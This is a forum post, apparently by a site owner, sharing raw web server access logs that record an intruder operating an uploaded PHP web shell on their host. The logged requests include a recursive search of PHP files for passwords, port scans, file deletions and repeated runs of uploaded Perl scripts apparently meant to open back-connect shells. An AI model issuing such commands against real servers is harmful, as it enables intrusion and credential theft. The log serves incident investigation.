    62.150.40.142 - - [12/Dec/2006:14:20:00 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/style_images/mydomainname HTTP/1.1" 200 354040 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/style_images" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:20:07 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/converge_local HTTP/1.1" 200 18587 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:20:22 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/install HTTP/1.1" 200 22063 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:20:36 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/install/sql HTTP/1.1" 200 23215 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/install" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:20:46 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=back.pl&action=delete HTTP/1.1" 200 19454 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:21:04 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 57092 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:21:26 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=spider&action=edit HTTP/1.1" 200 32708 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:21:38 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=spider&action=delete HTTP/1.1" 200 54921 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:22:21 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=asd.jpg&action=edit HTTP/1.1" 200 68717 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=spider&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:22:34 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/uploads HTTP/1.1" 200 15780 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=spider&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:22:48 +0000] "GET /downloads/uploads/nfm.php?cm=find+%2F+-name+*.php+%7C+xargs+grep+-li+password HTTP/1.1" 200 12263 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/uploads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:27:53 +0000] "GET /downloads/uploads/nfm.php?cm=find+%2F+-name+*.php+%7C+xargs+grep+-li+password HTTP/1.1" 200 12263 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/uploads" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:27:54 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/uploads HTTP/1.1" 200 15780 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=spider&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:28:12 +0000] "GET /downloads/uploads/nfm.php?action=portscan HTTP/1.1" 200 19631 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=find+%2F+-name+*.php+%7C+xargs+grep+-li+password" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:32:58 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums&fi=spider&action=delete HTTP/1.1" 200 54921 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:33:00 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 54640 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:33:15 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:33:45 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 21959 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:34:55 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2FAG.pl+www.mydomainname.co.uk+4545 HTTP/1.1" 200 12451 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:35:17 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 21959 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:35:45 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=AG.pl&action=delete HTTP/1.1" 200 19452 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:36:26 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 21955 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=AG.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:36:55 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+2456 HTTP/1.1" 200 12398 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:39:07 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+1212 HTTP/1.1" 200 12417 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+2456" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:41:51 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+1212+ls HTTP/1.1" 200 12420 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:41:59 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+1212 HTTP/1.1" 200 12417 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:42:44 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+80 HTTP/1.1" 200 12452 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:49:32 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+80 HTTP/1.1" 200 12452 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:49:39 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 21673 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+80" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:49:53 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 9577 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:50:26 +0000] "POST /downloads/uploads/nfm.php?tm=&action=upload HTTP/1.1" 200 24460 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:51:12 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2FAG.pl+www.mydomainname.co.uk+80 HTTP/1.1" 200 12556 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=&action=upload" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:51:25 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2FAG.pl+www.mydomainname.co.uk+80+ls HTTP/1.1" 200 12480 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:53:48 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 24178 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+80" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:53:53 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=AG.pl&action=delete HTTP/1.1" 200 21953 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:54:19 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=AG.pl&action=delete HTTP/1.1" 200 21953 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:14:54:24 +0000] "GET /downloads/uploads/nfm.php?cm=ls HTTP/1.1" 200 12274 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=AG.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:09:55 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+200 HTTP/1.1" 200 12416 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:10:02 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+88 HTTP/1.1" 200 12415 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:10:09 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+455 HTTP/1.1" 200 12416 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:10:16 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+445 HTTP/1.1" 200 12416 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:10:32 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+80 HTTP/1.1" 200 12452 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:11:17 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+175 HTTP/1.1" 200 12416 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:11:24 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+8080 HTTP/1.1" 200 12417 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:12:54 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+801 HTTP/1.1" 200 12416 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:18:27 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+21 HTTP/1.1" 200 12452 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322;

  2. #2
    Join Date
    Aug 2005
    Location
    England
    Posts
    87
    OK it seems to be cutting off half the post, here's the rest:
    Code:
    62.150.40.142 - - [12/Dec/2006:15:18:49 +0000] "GET /downloads/uploads/nfm.php?action=portscan HTTP/1.1" 200 20031 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+801" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:19:27 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+22 HTTP/1.1" 200 12452 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:28:08 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+59878 HTTP/1.1" 200 12418 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:29:02 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+443 HTTP/1.1" 200 12453 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:29:59 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+465 HTTP/1.1" 200 12453 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:33:15 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+111 HTTP/1.1" 200 12453 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:34:51 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=AG.pl&action=delete HTTP/1.1" 200 21953 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:35:40 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+2095 HTTP/1.1" 200 12454 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:37:09 +0000] "GET /downloads/uploads/nfm.php?action=bash HTTP/1.1" 200 10756 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=AG.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:43:44 +0000] "GET /downloads/uploads/nfm.php?action=portscan HTTP/1.1" 200 20029 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+801" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:48:43 +0000] "GET /downloads/uploads/nfm.php?action=portscan HTTP/1.1" 200 19630 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:50:38 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+4457 HTTP/1.1" 200 12417 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:51:32 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+215 HTTP/1.1" 200 12416 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:52:25 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+22 HTTP/1.1" 200 12452 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:52:33 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+21 HTTP/1.1" 200 12452 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:52:52 +0000] "GET /downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+23 HTTP/1.1" 200 12415 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:53:32 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 21673 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?action=bash" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:53:45 +0000] "GET /downloads/uploads/nfm.php?cm=whois+upx HTTP/1.1" 200 15047 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:53:55 +0000] "GET /downloads/uploads/nfm.php?cm=whois+--help HTTP/1.1" 200 13525 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=whois+upx" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:54:08 +0000] "GET /downloads/uploads/nfm.php?cm=jwhois HTTP/1.1" 200 13519 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=whois+--help" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:54:22 +0000] "GET /downloads/uploads/nfm.php?cm=jwhois+-a HTTP/1.1" 200 13522 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=jwhois" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:54:37 +0000] "GET /downloads/uploads/nfm.php?cm=whois+-a HTTP/1.1" 200 13521 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=jwhois+-a" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:54:44 +0000] "GET /downloads/uploads/nfm.php?cm=pwd HTTP/1.1" 200 12318 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=whois+-a" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
